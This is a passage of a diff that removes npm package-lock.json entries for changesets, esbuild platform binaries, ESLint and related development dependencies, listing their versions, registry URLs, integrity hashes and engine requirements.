"https://registry.npmjs.org/@changesets/changelog-git/-/changelog-git-0.2.1.tgz", - "integrity": "sha512-x/xEleCFLH28c3bQeQIyeZf8lFXyDFVn1SgcBiR2Tw/r4IAWlk1fzxCEZ6NxQAjF2Nwtczoen3OA2qR+UawQ8Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/types": "^6.1.0" - } - }, - "node_modules/@changesets/changelog-github": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/@changesets/changelog-github/-/changelog-github-0.5.2.tgz", - "integrity": "sha512-HeGeDl8HaIGj9fQHo/tv5XKQ2SNEi9+9yl1Bss1jttPqeiASRXhfi0A2wv8yFKCp07kR1gpOI5ge6+CWNm1jPw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/get-github-info": "^0.7.0", - "@changesets/types": "^6.1.0", - "dotenv": "^8.1.0" - } - }, - "node_modules/@changesets/cli": { - "version": "2.29.8", - "resolved": "https://registry.npmjs.org/@changesets/cli/-/cli-2.29.8.tgz", - "integrity": "sha512-1weuGZpP63YWUYjay/E84qqwcnt5yJMM0tep10Up7Q5cS/DGe2IZ0Uj3HNMxGhCINZuR7aO9WBMdKnPit5ZDPA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/apply-release-plan": "^7.0.14", - "@changesets/assemble-release-plan": "^6.0.9", - "@changesets/changelog-git": "^0.2.1", - "@changesets/config": "^3.1.2", - "@changesets/errors": "^0.2.0", - "@changesets/get-dependents-graph": "^2.1.3", - "@changesets/get-release-plan": "^4.0.14", - "@changesets/git": "^3.0.4", - "@changesets/logger": "^0.1.1", - "@changesets/pre": "^2.0.2", - "@changesets/read": "^0.6.6", - "@changesets/should-skip-package": "^0.1.2", - "@changesets/types": "^6.1.0", - "@changesets/write": "^0.4.0", - "@inquirer/external-editor": "^1.0.2", - "@manypkg/get-packages": "^1.1.3", - "ansi-colors": "^4.1.3", - "ci-info": "^3.7.0", - "enquirer": "^2.4.1", - "fs-extra": "^7.0.1", - "mri": "^1.2.0", - "p-limit": "^2.2.0", - "package-manager-detector": "^0.2.0", - "picocolors": "^1.1.0", - "resolve-from": "^5.0.0", - "semver": "^7.5.3", - "spawndamnit": "^3.0.1", - "term-size": "^2.1.0" - }, - "bin": { - "changeset": "bin.js" - } - }, - "node_modules/@changesets/config": { - "version": "3.1.2", - "resolved": "https://registry.npmjs.org/@changesets/config/-/config-3.1.2.tgz", - "integrity": "sha512-CYiRhA4bWKemdYi/uwImjPxqWNpqGPNbEBdX1BdONALFIDK7MCUj6FPkzD+z9gJcvDFUQJn9aDVf4UG7OT6Kog==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/errors": "^0.2.0", - "@changesets/get-dependents-graph": "^2.1.3", - "@changesets/logger": "^0.1.1", - "@changesets/types": "^6.1.0", - "@manypkg/get-packages": "^1.1.3", - "fs-extra": "^7.0.1", - "micromatch": "^4.0.8" - } - }, - "node_modules/@changesets/errors": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/@changesets/errors/-/errors-0.2.0.tgz", - "integrity": "sha512-6BLOQUscTpZeGljvyQXlWOItQyU71kCdGz7Pi8H8zdw6BI0g3m43iL4xKUVPWtG+qrrL9DTjpdn8eYuCQSRpow==", - "dev": true, - "license": "MIT", - "dependencies": { - "extendable-error": "^0.1.5" - } - }, - "node_modules/@changesets/get-dependents-graph": { - "version": "2.1.3", - "resolved": "https://registry.npmjs.org/@changesets/get-dependents-graph/-/get-dependents-graph-2.1.3.tgz", - "integrity": "sha512-gphr+v0mv2I3Oxt19VdWRRUxq3sseyUpX9DaHpTUmLj92Y10AGy+XOtV+kbM6L/fDcpx7/ISDFK6T8A/P3lOdQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/types": "^6.1.0", - "@manypkg/get-packages": "^1.1.3", - "picocolors": "^1.1.0", - "semver": "^7.5.3" - } - }, - "node_modules/@changesets/get-github-info": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/@changesets/get-github-info/-/get-github-info-0.7.0.tgz", - "integrity": "sha512-+i67Bmhfj9V4KfDeS1+Tz3iF32btKZB2AAx+cYMqDSRFP7r3/ZdGbjCo+c6qkyViN9ygDuBjzageuPGJtKGe5A==", - "dev": true, - "license": "MIT", - "dependencies": { - "dataloader": "^1.4.0", - "node-fetch": "^2.5.0" - } - }, - "node_modules/@changesets/get-release-plan": { - "version": "4.0.14", - "resolved": "https://registry.npmjs.org/@changesets/get-release-plan/-/get-release-plan-4.0.14.tgz", - "integrity": "sha512-yjZMHpUHgl4Xl5gRlolVuxDkm4HgSJqT93Ri1Uz8kGrQb+5iJ8dkXJ20M2j/Y4iV5QzS2c5SeTxVSKX+2eMI0g==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/assemble-release-plan": "^6.0.9", - "@changesets/config": "^3.1.2", - "@changesets/pre": "^2.0.2", - "@changesets/read": "^0.6.6", - "@changesets/types": "^6.1.0", - "@manypkg/get-packages": "^1.1.3" - } - }, - "node_modules/@changesets/get-version-range-type": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@changesets/get-version-range-type/-/get-version-range-type-0.4.0.tgz", - "integrity": "sha512-hwawtob9DryoGTpixy1D3ZXbGgJu1Rhr+ySH2PvTLHvkZuQ7sRT4oQwMh0hbqZH1weAooedEjRsbrWcGLCeyVQ==", - "dev": true, - "license": "MIT" - }, - "node_modules/@changesets/git": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/@changesets/git/-/git-3.0.4.tgz", - "integrity": "sha512-BXANzRFkX+XcC1q/d27NKvlJ1yf7PSAgi8JG6dt8EfbHFHi4neau7mufcSca5zRhwOL8j9s6EqsxmT+s+/E6Sw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/errors": "^0.2.0", - "@manypkg/get-packages": "^1.1.3", - "is-subdir": "^1.1.1", - "micromatch": "^4.0.8", - "spawndamnit": "^3.0.1" - } - }, - "node_modules/@changesets/logger": { - "version": "0.1.1", - "resolved": "https://registry.npmjs.org/@changesets/logger/-/logger-0.1.1.tgz", - "integrity": "sha512-OQtR36ZlnuTxKqoW4Sv6x5YIhOmClRd5pWsjZsddYxpWs517R0HkyiefQPIytCVh4ZcC5x9XaG8KTdd5iRQUfg==", - "dev": true, - "license": "MIT", - "dependencies": { - "picocolors": "^1.1.0" - } - }, - "node_modules/@changesets/parse": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/@changesets/parse/-/parse-0.4.2.tgz", - "integrity": "sha512-Uo5MC5mfg4OM0jU3up66fmSn6/NE9INK+8/Vn/7sMVcdWg46zfbvvUSjD9EMonVqPi9fbrJH9SXHn48Tr1f2yA==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/types": "^6.1.0", - "js-yaml": "^4.1.1" - } - }, - "node_modules/@changesets/pre": { - "version": "2.0.2", - "resolved": "https://registry.npmjs.org/@changesets/pre/-/pre-2.0.2.tgz", - "integrity": "sha512-HaL/gEyFVvkf9KFg6484wR9s0qjAXlZ8qWPDkTyKF6+zqjBe/I2mygg3MbpZ++hdi0ToqNUF8cjj7fBy0dg8Ug==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/errors": "^0.2.0", - "@changesets/types": "^6.1.0", - "@manypkg/get-packages": "^1.1.3", - "fs-extra": "^7.0.1" - } - }, - "node_modules/@changesets/read": { - "version": "0.6.6", - "resolved": "https://registry.npmjs.org/@changesets/read/-/read-0.6.6.tgz", - "integrity": "sha512-P5QaN9hJSQQKJShzzpBT13FzOSPyHbqdoIBUd2DJdgvnECCyO6LmAOWSV+O8se2TaZJVwSXjL+v9yhb+a9JeJg==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/git": "^3.0.4", - "@changesets/logger": "^0.1.1", - "@changesets/parse": "^0.4.2", - "@changesets/types": "^6.1.0", - "fs-extra": "^7.0.1", - "p-filter": "^2.1.0", - "picocolors": "^1.1.0" - } - }, - "node_modules/@changesets/should-skip-package": { - "version": "0.1.2", - "resolved": "https://registry.npmjs.org/@changesets/should-skip-package/-/should-skip-package-0.1.2.tgz", - "integrity": "sha512-qAK/WrqWLNCP22UDdBTMPH5f41elVDlsNyat180A33dWxuUDyNpg6fPi/FyTZwRriVjg0L8gnjJn2F9XAoF0qw==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/types": "^6.1.0", - "@manypkg/get-packages": "^1.1.3" - } - }, - "node_modules/@changesets/types": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/@changesets/types/-/types-6.1.0.tgz", - "integrity": "sha512-rKQcJ+o1nKNgeoYRHKOS07tAMNd3YSN0uHaJOZYjBAgxfV7TUE7JE+z4BzZdQwb5hKaYbayKN5KrYV7ODb2rAA==", - "dev": true, - "license": "MIT" - }, - "node_modules/@changesets/write": { - "version": "0.4.0", - "resolved": "https://registry.npmjs.org/@changesets/write/-/write-0.4.0.tgz", - "integrity": "sha512-CdTLvIOPiCNuH71pyDu3rA+Q0n65cmAbXnwWH84rKGiFumFzkmHNT8KHTMEchcxN+Kl8I54xGUhJ7l3E7X396Q==", - "dev": true, - "license": "MIT", - "dependencies": { - "@changesets/types": "^6.1.0", - "fs-extra": "^7.0.1", - "human-id": "^4.1.1", - "prettier": "^2.7.1" - } - }, - "node_modules/@esbuild/aix-ppc64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/aix-ppc64/-/aix-ppc64-0.27.3.tgz", - "integrity": "sha512-9fJMTNFTWZMh5qwrBItuziu834eOCUcEqymSH7pY+zoMVEZg3gcPuBNxH1EvfVYe9h0x/Ptw8KBzv7qxb7l8dg==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "aix" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm/-/android-arm-0.27.3.tgz", - "integrity": "sha512-i5D1hPY7GIQmXlXhs2w8AWHhenb00+GxjxRncS2ZM7YNVGNfaMxgzSGuO8o8SJzRc/oZwU2bcScvVERk03QhzA==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/android-arm64/-/android-arm64-0.27.3.tgz", - "integrity": "sha512-YdghPYUmj/FX2SYKJ0OZxf+iaKgMsKHVPF1MAq/P8WirnSpCStzKJFjOjzsW0QQ7oIAiccHdcqjbHmJxRb/dmg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/android-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/android-x64/-/android-x64-0.27.3.tgz", - "integrity": "sha512-IN/0BNTkHtk8lkOM8JWAYFg4ORxBkZQf9zXiEOfERX/CzxW3Vg1ewAhU7QSWQpVIzTW+b8Xy+lGzdYXV6UZObQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "android" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-arm64/-/darwin-arm64-0.27.3.tgz", - "integrity": "sha512-Re491k7ByTVRy0t3EKWajdLIr0gz2kKKfzafkth4Q8A5n1xTHrkqZgLLjFEHVD+AXdUGgQMq+Godfq45mGpCKg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/darwin-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/darwin-x64/-/darwin-x64-0.27.3.tgz", - "integrity": "sha512-vHk/hA7/1AckjGzRqi6wbo+jaShzRowYip6rt6q7VYEDX4LEy1pZfDpdxCBnGtl+A5zq8iXDcyuxwtv3hNtHFg==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "darwin" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-arm64/-/freebsd-arm64-0.27.3.tgz", - "integrity": "sha512-ipTYM2fjt3kQAYOvo6vcxJx3nBYAzPjgTCk7QEgZG8AUO3ydUhvelmhrbOheMnGOlaSFUoHXB6un+A7q4ygY9w==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/freebsd-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/freebsd-x64/-/freebsd-x64-0.27.3.tgz", - "integrity": "sha512-dDk0X87T7mI6U3K9VjWtHOXqwAMJBNN2r7bejDsc+j03SEjtD9HrOl8gVFByeM0aJksoUuUVU9TBaZa2rgj0oA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "freebsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm/-/linux-arm-0.27.3.tgz", - "integrity": "sha512-s6nPv2QkSupJwLYyfS+gwdirm0ukyTFNl3KTgZEAiJDd+iHZcbTPPcWCcRYH+WlNbwChgH2QkE9NSlNrMT8Gfw==", - "cpu": [ - "arm" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-arm64/-/linux-arm64-0.27.3.tgz", - "integrity": "sha512-sZOuFz/xWnZ4KH3YfFrKCf1WyPZHakVzTiqji3WDc0BCl2kBwiJLCXpzLzUBLgmp4veFZdvN5ChW4Eq/8Fc2Fg==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ia32": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ia32/-/linux-ia32-0.27.3.tgz", - "integrity": "sha512-yGlQYjdxtLdh0a3jHjuwOrxQjOZYD/C9PfdbgJJF3TIZWnm/tMd/RcNiLngiu4iwcBAOezdnSLAwQDPqTmtTYg==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-loong64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-loong64/-/linux-loong64-0.27.3.tgz", - "integrity": "sha512-WO60Sn8ly3gtzhyjATDgieJNet/KqsDlX5nRC5Y3oTFcS1l0KWba+SEa9Ja1GfDqSF1z6hif/SkpQJbL63cgOA==", - "cpu": [ - "loong64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-mips64el": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-mips64el/-/linux-mips64el-0.27.3.tgz", - "integrity": "sha512-APsymYA6sGcZ4pD6k+UxbDjOFSvPWyZhjaiPyl/f79xKxwTnrn5QUnXR5prvetuaSMsb4jgeHewIDCIWljrSxw==", - "cpu": [ - "mips64el" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-ppc64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-ppc64/-/linux-ppc64-0.27.3.tgz", - "integrity": "sha512-eizBnTeBefojtDb9nSh4vvVQ3V9Qf9Df01PfawPcRzJH4gFSgrObw+LveUyDoKU3kxi5+9RJTCWlj4FjYXVPEA==", - "cpu": [ - "ppc64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-riscv64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-riscv64/-/linux-riscv64-0.27.3.tgz", - "integrity": "sha512-3Emwh0r5wmfm3ssTWRQSyVhbOHvqegUDRd0WhmXKX2mkHJe1SFCMJhagUleMq+Uci34wLSipf8Lagt4LlpRFWQ==", - "cpu": [ - "riscv64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-s390x": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-s390x/-/linux-s390x-0.27.3.tgz", - "integrity": "sha512-pBHUx9LzXWBc7MFIEEL0yD/ZVtNgLytvx60gES28GcWMqil8ElCYR4kvbV2BDqsHOvVDRrOxGySBM9Fcv744hw==", - "cpu": [ - "s390x" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/linux-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/linux-x64/-/linux-x64-0.27.3.tgz", - "integrity": "sha512-Czi8yzXUWIQYAtL/2y6vogER8pvcsOsk5cpwL4Gk5nJqH5UZiVByIY8Eorm5R13gq+DQKYg0+JyQoytLQas4dA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "linux" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-arm64/-/netbsd-arm64-0.27.3.tgz", - "integrity": "sha512-sDpk0RgmTCR/5HguIZa9n9u+HVKf40fbEUt+iTzSnCaGvY9kFP0YKBWZtJaraonFnqef5SlJ8/TiPAxzyS+UoA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/netbsd-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/netbsd-x64/-/netbsd-x64-0.27.3.tgz", - "integrity": "sha512-P14lFKJl/DdaE00LItAukUdZO5iqNH7+PjoBm+fLQjtxfcfFE20Xf5CrLsmZdq5LFFZzb5JMZ9grUwvtVYzjiA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "netbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-arm64/-/openbsd-arm64-0.27.3.tgz", - "integrity": "sha512-AIcMP77AvirGbRl/UZFTq5hjXK+2wC7qFRGoHSDrZ5v5b8DK/GYpXW3CPRL53NkvDqb9D+alBiC/dV0Fb7eJcw==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openbsd-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/openbsd-x64/-/openbsd-x64-0.27.3.tgz", - "integrity": "sha512-DnW2sRrBzA+YnE70LKqnM3P+z8vehfJWHXECbwBmH/CU51z6FiqTQTHFenPlHmo3a8UgpLyH3PT+87OViOh1AQ==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openbsd" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/openharmony-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/openharmony-arm64/-/openharmony-arm64-0.27.3.tgz", - "integrity": "sha512-NinAEgr/etERPTsZJ7aEZQvvg/A6IsZG/LgZy+81wON2huV7SrK3e63dU0XhyZP4RKGyTm7aOgmQk0bGp0fy2g==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "openharmony" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/sunos-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/sunos-x64/-/sunos-x64-0.27.3.tgz", - "integrity": "sha512-PanZ+nEz+eWoBJ8/f8HKxTTD172SKwdXebZ0ndd953gt1HRBbhMsaNqjTyYLGLPdoWHy4zLU7bDVJztF5f3BHA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "sunos" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-arm64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/win32-arm64/-/win32-arm64-0.27.3.tgz", - "integrity": "sha512-B2t59lWWYrbRDw/tjiWOuzSsFh1Y/E95ofKz7rIVYSQkUYBjfSgf6oeYPNWHToFRr2zx52JKApIcAS/D5TUBnA==", - "cpu": [ - "arm64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-ia32": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/win32-ia32/-/win32-ia32-0.27.3.tgz", - "integrity": "sha512-QLKSFeXNS8+tHW7tZpMtjlNb7HKau0QDpwm49u0vUp9y1WOF+PEzkU84y9GqYaAVW8aH8f3GcBck26jh54cX4Q==", - "cpu": [ - "ia32" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@esbuild/win32-x64": { - "version": "0.27.3", - "resolved": "https://registry.npmjs.org/@esbuild/win32-x64/-/win32-x64-0.27.3.tgz", - "integrity": "sha512-4uJGhsxuptu3OcpVAzli+/gWusVGwZZHTlS63hh++ehExkVT8SgiEf7/uC/PclrPPkLhZqGgCTjd0VWLo6xMqA==", - "cpu": [ - "x64" - ], - "dev": true, - "license": "MIT", - "optional": true, - "os": [ - "win32" - ], - "engines": { - "node": ">=18" - } - }, - "node_modules/@eslint-community/eslint-utils": { - "version": "4.9.1", - "resolved": "https://registry.npmjs.org/@eslint-community/eslint-utils/-/eslint-utils-4.9.1.tgz", - "integrity": "sha512-phrYmNiYppR7znFEdqgfWHXR6NCkZEK7hwWDHZUjit/2/U0r6XvkDl0SYnoM51Hq7FhCGdLDT6zxCCOY1hexsQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "eslint-visitor-keys": "^3.4.3" - }, - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - }, - "peerDependencies": { - "eslint": "^6.0.0 || ^7.0.0 || >=8.0.0" - } - }, - "node_modules/@eslint-community/eslint-utils/node_modules/eslint-visitor-keys": { - "version": "3.4.3", - "resolved": "https://registry.npmjs.org/eslint-visitor-keys/-/eslint-visitor-keys-3.4.3.tgz", - "integrity": "sha512-wpc+LXeiyiisxPlEkUzU6svyS1frIO3Mgxj1fdy7Pm8Ygzguax2N3Fa/D/ag1WqbOprdI+uY6wMUl8/a2G+iag==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^12.22.0 || ^14.17.0 || >=16.0.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint-community/regexpp": { - "version": "4.12.2", - "resolved": "https://registry.npmjs.org/@eslint-community/regexpp/-/regexpp-4.12.2.tgz", - "integrity": "sha512-EriSTlt5OC9/7SXkRSCAhfSxxoSUgBm33OH+IkwbdpgoqsSsUg7y3uh+IICI/Qg4BBWr3U2i39RpmycbxMq4ew==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^12.0.0 || ^14.0.0 || >=16.0.0" - } - }, - "node_modules/@eslint/config-array": { - "version": "0.21.1", - "resolved": "https://registry.npmjs.org/@eslint/config-array/-/config-array-0.21.1.tgz", - "integrity": "sha512-aw1gNayWpdI/jSYVgzN5pL0cfzU02GT3NBpeT/DXbx1/1x7ZKxFPd9bwrzygx/qiwIQiJ1sw/zD8qY/kRvlGHA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/object-schema": "^2.1.7", - "debug": "^4.3.1", - "minimatch": "^3.1.2" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/config-helpers": { - "version": "0.4.2", - "resolved": "https://registry.npmjs.org/@eslint/config-helpers/-/config-helpers-0.4.2.tgz", - "integrity": "sha512-gBrxN88gOIf3R7ja5K9slwNayVcZgK6SOUORm2uBzTeIEfeVaIhOpCtTox3P6R7o2jLFwLFTLnC7kU/RGcYEgw==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/core": { - "version": "0.17.0", - "resolved": "https://registry.npmjs.org/@eslint/core/-/core-0.17.0.tgz", - "integrity": "sha512-yL/sLrpmtDaFEiUj1osRP4TI2MDz1AddJL+jZ7KSqvBuliN4xqYY54IfdN8qD8Toa6g1iloph1fxQNkjOxrrpQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@types/json-schema": "^7.0.15" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/eslintrc": { - "version": "3.3.3", - "resolved": "https://registry.npmjs.org/@eslint/eslintrc/-/eslintrc-3.3.3.tgz", - "integrity": "sha512-Kr+LPIUVKz2qkx1HAMH8q1q6azbqBAsXJUxBl/ODDuVPX45Z9DfwB8tPjTi6nNZ8BuM3nbJxC5zCAg5elnBUTQ==", - "dev": true, - "license": "MIT", - "dependencies": { - "ajv": "^6.12.4", - "debug": "^4.3.2", - "espree": "^10.0.1", - "globals": "^14.0.0", - "ignore": "^5.2.0", - "import-fresh": "^3.2.1", - "js-yaml": "^4.1.1", - "minimatch": "^3.1.2", - "strip-json-comments": "^3.1.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://opencollective.com/eslint" - } - }, - "node_modules/@eslint/js": { - "version": "9.39.3", - "resolved": "https://registry.npmjs.org/@eslint/js/-/js-9.39.3.tgz", - "integrity": "sha512-1B1VkCq6FuUNlQvlBYb+1jDu/gV297TIs/OeiaSR9l1H27SVW55ONE1e1Vp16NqP683+xEGzxYtv4XCiDPaQiw==", - "dev": true, - "license": "MIT", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - }, - "funding": { - "url": "https://eslint.org/donate" - } - }, - "node_modules/@eslint/object-schema": { - "version": "2.1.7", - "resolved": "https://registry.npmjs.org/@eslint/object-schema/-/object-schema-2.1.7.tgz", - "integrity": "sha512-VtAOaymWVfZcmZbp6E2mympDIHvyjXs/12LqWYjVw6qjrfF+VK+fyG33kChz3nnK+SU5/NeHOqrTEHS8sXO3OA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@eslint/plugin-kit": { - "version": "0.4.1", - "resolved": "https://registry.npmjs.org/@eslint/plugin-kit/-/plugin-kit-0.4.1.tgz", - "integrity": "sha512-43/qtrDUokr7LJqoF2c3+RInu/t4zfrpYdoSDfYyhg52rwLV6TnOvdG4fXm7IkSB3wErkcmJS9iEhjVtOSEjjA==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@eslint/core": "^0.17.0", - "levn": "^0.4.1" - }, - "engines": { - "node": "^18.18.0 || ^20.9.0 || >=21.1.0" - } - }, - "node_modules/@humanfs/core": { - "version": "0.19.1", - "resolved": "https://registry.npmjs.org/@humanfs/core/-/core-0.19.1.tgz", - "integrity": "sha512-5DyQ4+1JEUzejeK1JGICcideyfUbGixgS9jNgex5nqkW+cY7WZhxBigmieN5Qnw9ZosSNVC9KQKyb+GUaGyKUA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanfs/node": { - "version": "0.16.7", - "resolved": "https://registry.npmjs.org/@humanfs/node/-/node-0.16.7.tgz", - "integrity": "sha512-/zUx+yOsIrG4Y43Eh2peDeKCxlRt/gET6aHfaKpuq267qXdYDFViVHfMaLyygZOnl0kGWxFIgsBy8QFuTLUXEQ==", - "dev": true, - "license": "Apache-2.0", - "dependencies": { - "@humanfs/core": "^0.19.1", - "@humanwhocodes/retry": "^0.4.0" - }, - "engines": { - "node": ">=18.18.0" - } - }, - "node_modules/@humanwhocodes/module-importer": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/@humanwhocodes/module-importer/-/module-importer-1.0.1.tgz", - "integrity": "sha512-bxveV4V8v5Yb4ncFTT3rPSgZBOpCkjfK0y4oVVVJwIuDVBRMDXrPyXRL988i5ap9m9bnyEEjWfm5WkBmtffLfA==", - "dev": true, - "license": "Apache-2.0", - "engines": { - "node": ">=12.22" - }, - "funding": { - "type": "github", - "url": "https://github.com/sponsors/nzakas" - } - }, - "node_modules/@humanwhocodes/retry": { - "version": "0.4.3", - "resolved": "https://registry.npmjs.org/@humanwhocodes/retry/-/retry-0.4.3.tgz", - "integrity": "sha512-bV0Tgo9K4hfPCek+aMAn81RppFKv2ySDQeMoSZuvTASywNTnVJCArCZE2FWqpvIatKu7VMRLWlR1EazvVhDyhQ==", - "dev": true, - "license": "Apache-2.0", - "engines": { - 